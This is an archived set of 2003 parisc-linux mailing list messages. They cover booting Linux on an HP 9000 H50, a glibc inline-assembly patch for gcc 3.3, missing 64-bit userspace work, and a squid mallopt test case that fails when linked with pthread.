Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2ED92.CEDAD050"
X-Trace: ger.gmane.org 1416622305 23368 80.91.229.3 (22 Nov 2014 02:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:45 +0000 (UTC)
To: "Parisc-Linux Archive (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 14:11:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bedrock.hboc.com (hboc.com [139.177.224.128])
	by dsl2.external.hp.com (Postfix) with SMTP id A38B04829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 14:11:00 -0700 (MST)
Original-Received: from wildgoose.hboc.com by bedrock.hboc.com
          via smtpd (for dsl2.external.hp.com [192.25.206.7]) with SMTP; 18 Mar 2003 21:11:00 UT
Original-Received: from dmz.hboc.com (139.177.6.217 [139.177.6.217]) by mrsteal.hboc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id GJFRLZH1; Tue, 18 Mar 2003 16:11:30 -0500
Original-Received: from smtpout.hboc.com by dmz.hboc.com
          via smtpd (for wildgoose.hboc.com [192.168.0.19]) with SMTP; 18 Mar 2003 21:10:57 UT
Original-Received: by atlexcsmtpb.hboc.com with Internet Mail Service (5.5.2653.19)
	id <1WMTDN8J>; Tue, 18 Mar 2003 16:10:33 -0500
Original-Received: from atlexc90nthub.hboc.com (ims1.mckesson.com [139.177.6.114]) by atlexcsmtpa.hboc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 1WM3BLHW; Tue, 18 Mar 2003 16:10:20 -0500
Original-Received: by ims1.mckesson.com with Internet Mail Service (5.5.2653.19)
	id <FXGXDCTS>; Tue, 18 Mar 2003 16:10:29 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17997

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2ED92.CEDAD050
Content-Type: text/plain;
	charset="ISO-8859-1"

I have been trying to load some form of Linux onto a HP 9000 H50.  I see
that this is unsupported, but I was wondering if anybody has gotten it
to work.  I get to the point where it says "If this is the last message
you see, you need to switch your console" however I have verified that
the settings are correct for using the serial console.  Any input would
be appreciated.

-Tim 


------_=_NextPart_001_01C2ED92.CEDAD050
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>

<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>HP 9000 H50</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">I have been trying to load some form =
of Linux onto a HP 9000 H50.&nbsp; I see that this is unsupported, but =
I was wondering if anybody has gotten it to work.&nbsp; I get to the =
point where it says &quot;If this is the last message you see, you need =
to switch your console&quot; however I have verified that the settings =
are correct for using the serial console.&nbsp; Any input would be =
appreciated.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">-Tim</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2ED92.CEDAD050--


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 H50
Date: Tue, 18 Mar 2003 14:14:56 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20030318211456.GB6815@dsl2.external.hp.com>
References: <97399C6F047FFE43BA1F4520E9E27EF5018C1915@atlexc05ntms.hboc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622305 23369 80.91.229.3 (22 Nov 2014 02:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:45 +0000 (UTC)
Cc: "Parisc-Linux Archive (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "Quinn, Timothy" <Timothy.Quinn@McKesson.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 14:14:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5AFED4829; Tue, 18 Mar 2003 14:14:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <97399C6F047FFE43BA1F4520E9E27EF5018C1915@atlexc05ntms.hboc.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17998

On Tue, Mar 18, 2003 at 04:10:31PM -0500, Quinn, Timothy wrote:
> I have been trying to load some form of Linux onto a HP 9000 H50.  I see
> that this is unsupported, but I was wondering if anybody has gotten it
> to work.

Search for "ttyB0" in the parisc-linux mailing list archives
(lists.parisc-linux.org).

grant


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Tue, 18 Mar 2003 16:59:35 -0500 (EST)
Lines: 151
Approved: news@gmane.org
Message-ID: <200303182159.h2ILxZUA018885__49008.2993791022$1416622306$gmane$org@hiauly1.hia.nrc.ca>
References: <200303181853.h2IIr53R016234@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622306 23372 80.91.229.3 (22 Nov 2014 02:11:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:46 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 15:01:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F24914829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 15:01:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2IM1ZsQ019016
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 17:01:36 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2IM1ZUJ019015
	for parisc-linux@lists.parisc-linux.org; Tue, 18 Mar 2003 17:01:35 -0500 (EST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2ILxbsQ018886;
	Tue, 18 Mar 2003 16:59:38 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2ILxZUA018885;
	Tue, 18 Mar 2003 16:59:35 -0500 (EST)
In-Reply-To: <200303181853.h2IIr53R016234@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 18, 2003 01:53:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17999

> I'm building glibc-2.3.1-15 and should know soon if something
> has changed.

The enclosed patch to pt-initfini.c for gcc 3.3 is missing from -15.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--- pt-initfini.c.orig	2002-08-26 21:52:36.000000000 -0700
+++ pt-initfini.c	2003-03-18 12:11:20.000000000 -0800
@@ -41,70 +41,70 @@
    and epilogues.  Therefore we write these in assembly to make sure
    they do the right thing.  */
 
-__asm__ ("
-
-#include \"defs.h\"
-
-/*@HEADER_ENDS*/
-
-/*@_init_PROLOG_BEGINS*/
-	.section .init
-	.align 4
-	.globl _init
-	.type _init,@function
-_init:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	bl	__pthread_initialize_minimal,%rp
-	copy	%r19,%r4	/* delay slot */
-	copy	%r4,%r19
-/*@_init_PROLOG_ENDS*/
-
-/*@_init_EPILOG_BEGINS*/
-/* Here is the tail end of _init.  */
-	.section .init
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_init:
-	ldwm	-64(%sp),%r4
-
-/* Our very own unwind info, because the assembler can't handle
-   functions split into two or more pieces.  */
-	.section .PARISC.unwind,\"a\",@progbits
-	.extern _init
-	.word	_init, _end_init
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_init_EPILOG_ENDS*/
-
-/*@_fini_PROLOG_BEGINS*/
-	.section .fini
-	.align 4
-	.globl _fini
-	.type _fini,@function
-_fini:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	copy	%r19,%r4
-/*@_fini_PROLOG_ENDS*/
-
-/*@_fini_EPILOG_BEGINS*/
-	.section .fini
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_fini:
-	ldwm	-64(%sp),%r4
-
-	.section .PARISC.unwind,\"a\",@progbits
-	.extern _fini
-	.word	_fini, _end_fini
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_fini_EPILOG_ENDS*/
-
-/*@TRAILER_BEGINS*/
+__asm__ ("								\n\
+									\n\
+#include \"defs.h\"							\n\
+									\n\
+/*@HEADER_ENDS*/							\n\
+									\n\
+/*@_init_PROLOG_BEGINS*/						\n\
+	.section .init							\n\
+	.align 4							\n\
+	.globl _init							\n\
+	.type _init,@function						\n\
+_init:									\n\
+	stw	%rp,-20(%sp)						\n\
+	stwm	%r4,64(%sp)						\n\
+	stw	%r19,-32(%sp)						\n\
+	bl	__pthread_initialize_minimal,%rp			\n\
+	copy	%r19,%r4	/* delay slot */			\n\
+	copy	%r4,%r19						\n\
+/*@_init_PROLOG_ENDS*/							\n\
+									\n\
+/*@_init_EPILOG_BEGINS*/						\n\
+/* Here is the tail end of _init.  */					\n\
+	.section .init							\n\
+	ldw	-84(%sp),%rp						\n\
+	copy	%r4,%r19						\n\
+	bv	%r0(%rp)						\n\
+_end_init:								\n\
+	ldwm	-64(%sp),%r4						\n\
+									\n\
+/* Our very own unwind info, because the assembler can't handle		\n\
+   functions split into two or more pieces.  */				\n\
+	.section .PARISC.unwind,\"a\",@progbits				\n\
+	.extern _init							\n\
+	.word	_init, _end_init					\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08		\n\
+									\n\
+/*@_init_EPILOG_ENDS*/							\n\
+									\n\
+/*@_fini_PROLOG_BEGINS*/						\n\
+	.section .fini							\n\
+	.align 4							\n\
+	.globl _fini							\n\
+	.type _fini,@function						\n\
+_fini:									\n\
+	stw	%rp,-20(%sp)						\n\
+	stwm	%r4,64(%sp)						\n\
+	stw	%r19,-32(%sp)						\n\
+	copy	%r19,%r4						\n\
+/*@_fini_PROLOG_ENDS*/							\n\
+									\n\
+/*@_fini_EPILOG_BEGINS*/						\n\
+	.section .fini							\n\
+	ldw	-84(%sp),%rp						\n\
+	copy	%r4,%r19						\n\
+	bv	%r0(%rp)						\n\
+_end_fini:								\n\
+	ldwm	-64(%sp),%r4						\n\
+									\n\
+	.section .PARISC.unwind,\"a\",@progbits				\n\
+	.extern _fini							\n\
+	.word	_fini, _end_fini					\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08		\n\
+									\n\
+/*@_fini_EPILOG_ENDS*/							\n\
+									\n\
+/*@TRAILER_BEGINS*/							\n\
 ");



From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 bit userspace
Date: Tue, 18 Mar 2003 15:33:51 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20030318233351.GW26139@tausq.org>
References: <9A0482A7BD2506488AD9417C93F3714F01F2EB00@xsp01.brazil.hp.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622306 23374 80.91.229.3 (22 Nov 2014 02:11:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:46 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 16:34:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCBE94829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 16:34:46 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C3C76CD294; Tue, 18 Mar 2003 15:33:51 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F01F2EB00@xsp01.brazil.hp.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18000

> 	I would to know, what be missing to finish 64 bit userspace to we
> run 64 bit applications?
> 	If someone could enumerate the missing items and where we could
> access this development source, maybe I can give some help in this
> development.

Carlos might have a better list somewhere, but off the top of my head:

- binutils needs a lot of work for 64-bit palinux. It barely works for 
  building 64-bit kernels
- gcc's hppa64-linux target should be in decent shape in general, 
  although right now it cannot bootstrap itself (for 3.2 at least,
  not sure about 3.3... I have one patch from Dave to test)
- kernel assumes userspace is 32-bit in several places (e.g. syscalls,
  signals, ..) these need to be cleaned up
- there is no glibc support for hppa64-linux, this needs to be written
- there is no gdb support for hppa64-linux, this needs to be written

i'm sure there are more, but you get the idea -- in general nothing is
done yet and this will need a LOT of work; meanwhile we still have lots
to do for kernel and 32-bit userspace. If you have the time, and want to
hack on userspace stuff I can give you a list of interesting projects :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] squid pb with glibc-2.3.1 and pthread (pb reproduced now)
Date: Wed, 19 Mar 2003 01:23:43 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20030319062343.GG28363@systemhalted>
References: <200303181743.h2IHhtaI010636@hiauly1.hia.nrc.ca> <3E68A396000020CC@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622306 23376 80.91.229.3 (22 Nov 2014 02:11:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:46 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 23:23:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0F224829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 23:23:27 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18vWzH-0003xU-00; Wed, 19 Mar 2003 01:23:43 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Joel Soete <jsoe0708@tiscali.be>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3E68A396000020CC@ocpmta7.freegates.net>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (87% Sync Ratio [=========.])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18001

> So it doesn't yet help here. Never the less I think that I reach to produce
> enough simple material which Carlos could analyse (in its time) :)

If you send me a test case I can look at it. I don't even see why -l
pthread would break the previous code :)

c.


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] squid pb with glibc-2.3.1 and pthread (pb reproduced now)
Date: Wed, 19 Mar 2003 07:53:00 +0100
Lines: 172
Approved: news@gmane.org
Message-ID: <3E68A12A0000337E@ocpmta3.freegates.net>
References: <20030319062343.GG28363@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3E68A12A0000337E/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622306 23378 80.91.229.3 (22 Nov 2014 02:11:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:46 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 23:53:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B0E34829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 23:53:11 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18vXRi-0003WL-00; Wed, 19 Mar 2003 07:53:06 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 19 Mar 2003 07:53:00 +0100
In-Reply-To: <20030319062343.GG28363@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18002

--========/3E68A12A0000337E/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit


>
>> So it doesn't yet help here. Never the less I think that I reach to produce
>> enough simple material which Carlos could analyse (in its time) :)
>
>If you send me a test case I can look at it. I don't even see why -l
>pthread would break the previous code :)
>

Don't even more but it is a rare case where I encounter mallopt usage?

Anyway here it is:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

/* getpid(), geteuid()  */
#include <sys/types.h>
#include <unistd.h>

/* setgroups() */
#include <grp.h>

/* mkdir() */
#include <sys/stat.h>
#define MAXPATHLEN 256

/* waitpid() */
#include <sys/wait.h>

/* mallopt() */
#include <malloc.h>

#define SQUID_MAXFD 4096

/* autoconf.h */
/* Define if you have the mallopt function.  */
#define HAVE_MALLOPT 1

/* dlmalloc.c */
#define M_GRAIN   3    /* UNUSED in this malloc */
#define M_MXFAST  1    /* UNUSED in this malloc */

int Squid_MaxFD;		/* SQUID_MAXFD */

FILE *debug_log = NULL;

int
main(int argc, char **argv)
{
    int errcount = 0;
    mode_t oldmask;

    debug_log = stderr;
    if (FD_SETSIZE < Squid_MaxFD)
	Squid_MaxFD = FD_SETSIZE;

    fprintf(stderr, "nb_err: %d\n", errcount);
    /* call mallopt() before anything else */

#ifdef HAVE_MALLOPT
    fprintf(stderr, "  HAVE_MALLOPT \n");
#ifdef M_GRAIN
    /* Round up all sizes to a multiple of this */
    fprintf(stderr, " M_GRAIN seti: %d\n", M_GRAIN);
    mallopt(M_GRAIN, 16);
#endif
#ifdef M_MXFAST
    /* biggest size that is considered a small block */
    fprintf(stderr, " M_MXFAST seti: %d\n", M_MXFAST);
    mallopt(M_MXFAST, 256);
#endif
#ifdef M_NBLKS
    /* allocate this many small blocks at once */
    fprintf(stderr, " M_NBLKS set: %d\n", M_NBLKS);
    mallopt(M_NLBLKS, 32);
#endif
#endif /* HAVE_MALLOPT */

/*
    oldmask = umask(S_IRWXO);
 */

    return 0;
}

compile it with cmd:
gcc -o foo -l pthread foo.c

(the simple gcc -o foo foo.c do not present the pb;
neither gcc -static -o foo -l pthread foo.c [previously it makes a segv])

Thanks for your attention,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be



--========/3E68A12A0000337E/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="foo.c"

Ci8qCiAqICRJZDogbWFpbi5jLHYgMS4zNDUuMi40IDIwMDIvMDcvMTQgMTc6MjA6NDkgaG5vIEV4
cCAkCiAqCiAqIERFQlVHOiBzZWN0aW9uIDEgICAgIFN0YXJ0dXAgYW5kIE1haW4gTG9vcAogKiBB
VVRIT1I6IEhhcnZlc3QgRGVyaXZlZAogKgogKiBTUVVJRCBXZWIgUHJveHkgQ2FjaGUgICAgICAg
ICAgaHR0cDovL3d3dy5zcXVpZC1jYWNoZS5vcmcvCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICoKICogIFNxdWlkIGlzIHRoZSBy
ZXN1bHQgb2YgZWZmb3J0cyBieSBudW1lcm91cyBpbmRpdmlkdWFscyBmcm9tCiAqICB0aGUgSW50
ZXJuZXQgY29tbXVuaXR5OyBzZWUgdGhlIENPTlRSSUJVVE9SUyBmaWxlIGZvciBmdWxsCiAqICBk
ZXRhaWxzLiAgIE1hbnkgb3JnYW5pemF0aW9ucyBoYXZlIHByb3ZpZGVkIHN1cHBvcnQgZm9yIFNx
dWlkJ3MKICogIGRldmVsb3BtZW50OyBzZWUgdGhlIFNQT05TT1JTIGZpbGUgZm9yIGZ1bGwgZGV0
YWlscy4gIFNxdWlkIGlzCiAqICBDb3B5cmlnaHRlZCAoQykgMjAwMSBieSB0aGUgUmVnZW50cyBv
ZiB0aGUgVW5pdmVyc2l0eSBvZgogKiAgQ2FsaWZvcm5pYTsgc2VlIHRoZSBDT1BZUklHSFQgZmls
ZSBmb3IgZnVsbCBkZXRhaWxzLiAgU3F1aWQKICogIGluY29ycG9yYXRlcyBzb2Z0d2FyZSBkZXZl
bG9wZWQgYW5kL29yIGNvcHlyaWdodGVkIGJ5IG90aGVyCiAqICBzb3VyY2VzOyBzZWUgdGhlIENS
RURJVFMgZmlsZSBmb3IgZnVsbCBkZXRhaWxzLgogKgogKiAgVGhpcyBwcm9ncmFtIGlzIGZyZWUg
c29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vciBtb2RpZnkKICogIGl0IHVu
ZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgYXMgcHVibGlz
